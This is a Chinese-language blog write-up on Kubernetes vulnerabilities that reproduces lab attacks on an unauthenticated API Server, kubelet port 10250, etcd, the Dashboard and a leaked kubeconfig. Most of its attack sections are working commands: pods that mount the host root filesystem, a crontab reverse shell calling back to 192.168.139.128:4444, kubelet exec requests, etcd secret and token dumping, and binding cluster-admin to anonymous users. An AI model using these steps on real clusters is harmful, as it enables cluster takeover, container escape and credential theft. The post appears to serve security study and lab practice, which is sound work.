Featured image of post K8S常见漏洞

K8S常见漏洞

K8S常见漏洞

https://blog.csdn.net/qq_34101364/article/details/122506768

https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw

https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ

https://zone.huoxian.cn/d/1153-k8s

1.什么是K8S

Kubernetes是一个开源的容器编排平台,用于自动化容器化应用的部署、调度、扩缩容、自愈、服务发现与负载均衡,实现“一次构建,随处运行”的云原生理念。

2.K8S的核心架构

K8s 集群采用 主从架构(Master-Worker),分为两大平面:

img

2.1.控制平面(Master节点)

相当于集群的“大脑”,负责全局决策和状态管理。关键组件包括:

组件 功能 安全风险
API Server 所有操作的唯一入口(RESTful API) 若未授权访问 → 全集群沦陷
etcd 存储集群所有状态数据(如 Secrets、Pod 配置) 数据库泄露 = 敏感信息泄露
Controller Manager 管理控制器(如 ReplicaSet、Node 控制器) 配置错误可能导致资源异常
Scheduler 决定 Pod 调度到哪个 Node 一般风险较低,但可被利用于资源耗尽攻击

🔒 安全重点:API Server 和 etcd 是高价值目标,必须启用 TLS、RBAC、网络隔离。

2.2.工作节点(Node节点)

实际运行应用的地方,每个 Node 上运行:

组件 功能 安全风险
kubelet 管理本机 Pod 生命周期,执行命令 10250 端口未授权访问 → 可执行任意命令、读取日志、逃逸
kube-proxy 实现 Service 网络代理(iptables/IPVS) 配置不当可能绕过网络策略
容器运行时(如 containerd、Docker) 运行容器 容器逃逸、镜像漏洞、提权风险

2.3.K8S中关键对象

  1. Pod:最小调度单元,包含一个或多个容器。安全边界薄弱,同一 Pod 内容器共享网络/存储。
  2. Service:提供稳定的网络访问入口。若未配合 NetworkPolicy,可能导致横向移动。
  3. Namespace:逻辑隔离单位。多租户场景下必须严格隔离。
  4. Secret:存储敏感信息(如密码、token)。默认 base64 编码,非加密!需配合 etcd 加密或外部 Vault。
  5. Role / ClusterRole + RoleBinding:基于 RBAC 的权限控制。过度授权是常见漏洞(如 cluster-admin 权限滥用)。
  6. NetworkPolicy:定义 Pod 间通信规则。默认允许所有流量,必须显式限制。

3.K8S攻击路径

https://github.com/Bywalks/K8s-Mind-Map

img

1
2
3
K8S-master  192.168.66.146      root/123456
K8S-node1   192.168.66.148      root/123456
K8S-node2   192.168.66.149      root/123456

3.1.Kubelet未授权访问漏洞

3.1.1.8080端口 API Server未授权访问

影响版本:K8S<1.16.0 或者错误的配置

app.name==“Kubernetes”

旧版本的K8S API Server默认会开启两个端口8080与6443

6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,

仅用于测试。6443端口需要认证,且有TLS保护。(k8s旧版本<1.16.0)

新版本k8s默认己经不开启8080端口需要更改相应的配置

1
2
3
4
5
cd /etc/kubernetes/manifests   //如果你不是用 kubeadm 初始化的集群,会不存在这个文件夹
    - --insecure-port=8080
    - --insecure-bind-address=0.0.0.0

systemctl restart kubelet

img

1
2
3
4
5
kubectl version          查看目标环境K8S版本

kubectl get nodes -o wide    通过运行节点查看版本

kubectl get --raw='/version'  通过API查询

img

img

img

img

利用工具下载:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-windows/

1
2
3
curl.exe -LO "https://dl.k8s.io/release/v1.35.0/bin/windows/amd64/kubectl-convert.exe"
http://192.168.66.146:8080/api/v1/nodes
kubectl.exe -s 192.168.66.146:8080 get nodes

img

1
2
3
4
kubectl.exe -s 192.168.66.146:8080 get pods //只查看默认当前命名空间(namespace)下的Pod。

//查看所有命名空间的 Pod
kubectl.exe -s 192.168.66.146:8080 get pods --all-namespaces

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//配置镜像地址
sudo tee /etc/docker/daemon.json <<'EOF'
{
  "registry-mirrors": [
    "https://docker.1panel.live",
    "https://hub.1panel.dev",
    "https://docker.kejilion.pro",
    "https://docker.xuanyuan.me",
    "https://hubp.me",
    "https://dockerproxy.net",
    "https://hub2.nat.tf",
    "https://doublezonline.cloud"
  ]
}
EOF

//重载并重启 Docker
sudo systemctl daemon-reload
sudo systemctl restart docker

//验证配置是否生效
docker info | grep -A 10 "Registry Mirrors"
//Kubernetes 节点通过访问 Docker Hub 来拉取 nginx 镜像,所以需要注意网络情况

apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  containers:
  - image: registry.cn-hangzhou.aliyuncs.com/library/nginx:latest   # 👈 阿里云官方代理
    name: test-container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /
      
kubectl.exe -s 192.168.66.146:8080 delete pod test          //删除镜像
kubectl.exe -s 192.168.66.146:8080 create -f test.yaml   
kubectl.exe -s 192.168.66.146:8080 get pods      //查看是否创建成功

img

1
2
3
4
5
6
7
8
9
kubectl.exe -s 192.168.66.146:8080 --namespace=default exec -it test bash  //这是旧版进入容器
kubectl.exe -s 192.168.66.146:8080 exec -it test -- bash   //新版本命令

//
echo -e "*/1 * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" > /mnt/etc/crontab


//反弹shell
kubectl.exe -n namespace exec test -- echo -e '* * * * * root bash /tmp/123.sh\n' >>/mnt/etc/crontab

img

img

3.1.2.6443端口-API Server未授权访问漏洞

指纹特征:app=“kubernetes” && port=“6443” && country=“CN”

不存在未授权漏洞如下图所示

img

6443未授权无法直接通过修改配置文件开启

1
2
3
4
5
6
7
8
kubectl create clusterrolebinding system-anonymous --clusterrole=cluster-admin --user=system:anonymous
POST https://192.168.139.130:6443/api/v1/namespaces/default/pods/

{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test03\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test03\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test03","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
kubectl.exe --insecure-skip-tls-verify -s 192.168.66.146:8080 get pods  //跳过安全验证
kubectl.exe --insecure-skip-tls-verify -s 192.168.66.146:8080 exec -it test -- bash

echo -e "*/1 * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" > /mnt/etc/crontab

3.2.node节点-10250端口 kubelet未授权访问

https://mp.weixin.qq.com/s/CSsZKFSoWmgiVnjnQEwOUw

K8s Node对外开启10250(Kubelet API)和10255端口(readonly API),默认情况下kubelet监听的10250端口没有进行任何认证鉴权,攻击者可以通过利用该设计缺陷来创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机

前提条件,修改/var/lib/kubelet/config.yaml文件

img

1
https://192.168.66.148:10250/pods

img

利用前需要获取3个参数namespace,pod,container

1
https://192.168.66.148:10250/runningpods/

img

1
2
3
4
5
6
7
pod:test
namespace: default
containers: test-container

curl -XPOST -k "https://192.168.66.148:10250/run/default/test/test-container" -d "cmd=id"

curl -k -X POST https://192.168.66.148:10250/exec/default/test/test-container -H "Content-Type: application/json" -d '{"command":"id"}'

3.3.etcd未授权访问漏洞

指纹:Etcd && port="2379"

https://mp.weixin.qq.com/s/F-jQER9YXBwNazGpMEtN0A

https://mp.weixin.qq.com/s/xPQhTql_FuzuPhSKRv1Ulw

攻击2379端口:默认通过证书认证,主要存放节点的数据,如一些token和证书

1
2
攻击路径:
存在etcd未授权--->获取secret&token--->通过token访问api server实现接管

配置文件位置/etc/kubernetes/manifests/etcd.yaml

将–client-cert-auth设置为false或删除即可开启,但是实战中k8s默认配置2379只监听本地,如果没有设置其它访问,那么最多只能本地127.0.0.1访问,不能公网访问,只能配合SSRF漏洞获取token

img

3.3.1.漏洞环境搭建

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

1
2
3
4
5
6
7
docker pull quay.io/coreos/etcd:v3.3.1
# 查看镜像
docker images

docker network create --driver bridge --subnet=172.16.1.0/16 --gateway=172.16.1.1 mynet
# 查看网络
docker network ls

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//节点1
docker run -d -p 23791:2379 -p 23801:2380 \
--name etcdnode1 \
--network=mynet \
--ip 172.16.2.1 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode1 \
-advertise-client-urls http://172.16.2.1:2379 \
-initial-advertise-peer-urls http://172.16.2.1:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster "etcdnode1=http://172.16.2.1:2380,etcdnode2=http://172.16.2.2:2380,etcdnode3=http://172.16.2.3:2380" \
-initial-cluster-state new

//节点2
docker run -d -p 23792:2379 -p 23802:2380 \
--name etcdnode2 \
--network=mynet \
--ip 172.16.2.2 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode2 \
-advertise-client-urls http://172.16.2.2:2379 \
-initial-advertise-peer-urls http://172.16.2.2:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster "etcdnode1=http://172.16.2.1:2380,etcdnode2=http://172.16.2.2:2380,etcdnode3=http://172.16.2.3:2380" \
-initial-cluster-state new

//节点3
docker run -d -p 23793:2379 -p 23803:2380 \
--name etcdnode3 \
--network=mynet \
--ip 172.16.2.3 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode3 \
-advertise-client-urls http://172.16.2.3:2379 \
-initial-advertise-peer-urls http://172.16.2.3:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster "etcdnode1=http://172.16.2.1:2380,etcdnode2=http://172.16.2.2:2380,etcdnode3=http://172.16.2.3:2380" \
-initial-cluster-state new

//查看docker进程
docker ps

//查看端口是否开放
ss -tuln

img

3.3.2.etcd v3版本漏洞复现

v2版本太老了,很少有使用到的,etcd v3版本的api和v2版本完全不同

1
http://ip:2379/v2/keys/?recursive=true     V2版本直接访问,可以看到所有的key-value值

v3版本利用工具:https://github.com/etcd-io/etcd/

1
2
3
4
5
6
7
8
//插入数据
etcdctl.exe --endpoints=192.168.66.152:23791 put /testdir/testkey1 "Hello world1"

//执行下面命令即可读取etcd中存储的所有数据:(在keys中查找敏感key)
etcdctl.exe --endpoints=192.168.66.152:23791 get / --prefix

//查找指定key的值
etcdctl --endpoints=192.168.66.152:23791  get /testdir/testkey1

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
etcdctl --endpoints=IP:2379 get / --prefix --keys-only | findstr /C:"/secrets/"

etcdctl --endpoints=IP:2379 get / --prefix --keys-only | findstr /C:"/secrets/kube-system/clusterrole"
//获取token
etcdctl --endpoints=IP:2379 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-mr6x7
//通过token访问api server实现接管
kubectl --insecure-skip-tls-verify -s https://192.168.48.142:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6I" -n kube-system get pods

#curl验证
curl --header "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IlpJRnlaWGxOalUzT3JXa0cwaHVsck05eXFDeDRlU3d6NVR3ckdLdUJrLWcifQ" -X GET https://192.168.48.142:6443/api -k

img

3.4.Dashboard未授权访问漏洞

指纹特征:title=“Kubernetes Dashboard”

https://mp.weixin.qq.com/s/dA23FhqBgop-Fw0WwU67Zw

默认端口8001,配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。

kubernetes dashboard的未授权其实分两种情况:

  1. 一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。
  2. 另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0/aio/deploy/recommended.yaml

//修改kubernetes-dashboard的Service类型
kind: Service
apiVersion: v1
metadata:
  labels:
    k8s-app: kubernetes-dashboard
  name: kubernetes-dashboard
  namespace: kubernetes-dashboard
spec:
  type: NodePort  # 新增
  ports:
    - port: 443
      targetPort: 8443
      nodePort: 30009  # 新增
  selector:
    k8s-app: kubernetes-dashboard


//增加一行
- --enable-skip-login

img

1
kubectl.exe -s 192.168.66.146:8080 create -f C:\Users\24767\Desktop\recommend.yaml --validate=false

img

1
2
3
4
5
//查看面板是否正常
kubectl.exe -s 192.168.66.146:8080 get pod,svc -n kubernetes-dashboard

# 2. 检查 Pod
kubectl.exe -s 192.168.66.146:8080 get pods -n kubernetes-dashboard

img

找到暴露面板—>创建或上传pod—>进入pod执行—>容器挂载逃逸

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
//卸载
kubectl.exe -s 192.168.66.146:8080 delete -f C:\Users\24767\Desktop\recommend.yaml

//排错
kubectl.exe -s 192.168.66.146:8080 get ns kubernetes-dashboard -o json > k8s-dashboard-ns.json

修改json文件中spec值为
"spec": {
    "finalizers": []
},

curl -k -H "Content-Type: application/json" -X PUT --data-binary @k8s-dashboard-ns.json http://192.168.66.146:8080/api/v1/namespaces/kubernetes-dashboard/finalize

//查看是否删除成功
kubectl.exe -s 192.168.66.146:8080 get ns kubernetes-dashboard

3.4.1.漏洞环境搭建

我这里环境配置有问题,只能让docker启动才能复现成功

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# 拉去镜像
docker pull kubernetesui/dashboard:v2.7.0

# 运行,需要指定你的API-server
docker run -d \
  --name dashboard \
  --network host \
  -e KUBERNETES_SERVICE_HOST=192.168.66.146 \
  -e KUBERNETES_SERVICE_PORT=8080 \
  kubernetesui/dashboard:v2.7.0 \
  --enable-skip-login \
  --disable-settings-authorizer \
  --insecure-bind-address=0.0.0.0 \
  --insecure-port=30009 \
  --apiserver-host=http://192.168.66.146:8080

img

直接访问

img

正常情况

img

创建pod或上传pod

img

后续利用都和API Server未授权利用一样,进行逃逸

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
apiVersion: v1
kind: Pod
metadata:
  name: lsec
spec:
  containers:
  - name: test-container
    image: nginx:latest   
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

img

3.5.Configfile鉴权文件泄露

K8S面板有两种登录方式,一种是通过token认证登陆,一种是通过kubeconfig配置文件认证登录

K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。

用户凭证保存在kubeconfig 文件中,而kubectl执行命令时会通过以下顺序来找到 kubeconfig 文件:

  • 如果提供了–kubeconfig参数,就使用提供的 kubeconfig 文件。
  • 如果没有提供–kubeconfig 参数,但设置了环境变量 $KUBECONFIG,则使用该环境变量提供的 kubeconfig 文件。
  • 如果以上两种情况都没有,kubectl 就使用默认的 kubeconfig 文件 /root/.kube/config**。**

img

漏洞利用:泄露k8s-configfile—>认证进入—>创建恶意pod—>容器逃逸

配置文件一般怎么泄露:拿到webshell或者从github中泄露

img

拿着配置文件通过面板进行登录

或者拿着配置文件认证6443端口实现认证,如果**/root/.kube/config这个文件认证不成功,可以使用管理员master节点的认证**/etc/kubernetes/admin.conf

1
2
3
4
5
kubectl.exe -s https://192.168.66.146:6443/ --kubeconfig=C:\Users\24767\Desktop\config --insecure-skip-tls-verify=true get nodes

kubectl.exe apply -f test.yaml -n default --kubeconfig=C:\Users\24767\Desktop\config 

进入容器逃逸

如果还是认证不成功,使用这条命令检查ps -ef | grep kube-apiserver

3.6.Kubectl Proxy不安全配置

**造成原因:**当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy,使用 kubectl proxy命令就可以使API server 监听在本地的 xxxx 端口上

1
2
环境搭建:
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009
By Lsec
最后更新于 Jan 22, 2026 17:05 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ